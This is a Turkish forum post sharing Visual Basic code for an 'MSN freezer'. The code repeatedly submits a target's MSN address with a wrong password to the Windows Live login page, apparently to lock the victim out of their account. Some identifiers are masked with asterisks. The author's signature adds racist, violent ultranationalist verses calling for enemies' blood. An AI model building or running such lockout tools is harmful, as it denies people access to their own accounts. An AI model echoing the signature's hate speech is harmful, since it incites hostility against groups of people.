Msn freezer yapımı


Visual Basic ve .NET Framework    Visual Basic ve .NET Framework İle İlgili Paylaşım Kategorisi

Yazar: ByClxon    0 Yorum    181 Görüntüleme
  • Derecelendirme: 0/5 - 0 oy

Paylaşım Tarihi: 11.05.2016, 22:41:22 #1
ByClxon SEA !
Efsane Üye
Status: Çevrimdışı Yorumları:1,011 Konuları:443 Kayıt Tarihi:07.01.2016 Rep Puanı: 667

COMPENENTLER

1 tane progressbar 
2 adet label 
2 adet commandbutton 
1 adet textbox 
1 adet webbrowser 

KODLAR




Private Sub Command1_Click()
WebBrowser1.Navigate ("https://mid.live.com/si/login.aspx")
Label1.Caption = "Donduruluyor..."
End Sub

Private Sub Command2_Click()
WebBrowser1.Navigate ("")
WebBrowser1.Stop
ProgressBar1.Value = "0"
Label1.Caption = "Hazır..."
Text1.Text = "Dondurulacak msn adresini buraya yazınız..."
End Sub

Private Sub Form_Load()

End Sub

Private Sub WebBrowser1_********Complete(ByVal pDisp As Object, URL As Variant)
On Error Resume Next
ProgressBar1.Value = "100"
Label1.Caption = "Donduruldu !"
Dim Data As String
Data = w.********.body.innerhtml
WebBrowser1.********.All("LoginTextBox").Value = Text1.Text
WebBrowser1.********.All("PasswordTextBox").Value = ";erkesoft"
WebBrowser1.********.All("PasswordSubmit").Click
If InStr(Data, "Sign in failed.") Then
MsgBox "Donduruldu !"
End If
WebBrowser1.Navigate ("https://mid.live.com/si/login.aspx")
End Sub

Kullanıcı İmzası
#fenerbahçeA.A.K.
Resim http://i.hizliresim.com/nErB8V.png
İletişim İçin Facebook;

Sitemize kayıtlı değilseniz linkleri görebilmeniz İçin Kayıt Olun veya Giriş Yapın


Öfkemiz sarsın her yanı, bozkurtlar yürüye yürüye
Dökülsün düşmanın kanı, yaşasın ırkçı TÜRKİYE!

Taşında gözü olanın yurduna MEZAR kazacağız
Hainin, soysuzun, döneğin alnına VATAN yaazcağız
Hainin, soysuzun alnına YAŞASIN TURAN yazacağız!



Resim http://i.hizliresim.com/LQgldG.png






 

         











Aradığınızı Bulamadınız Mı ?

Konuyu Okuyanlar:
1 Ziyaretçi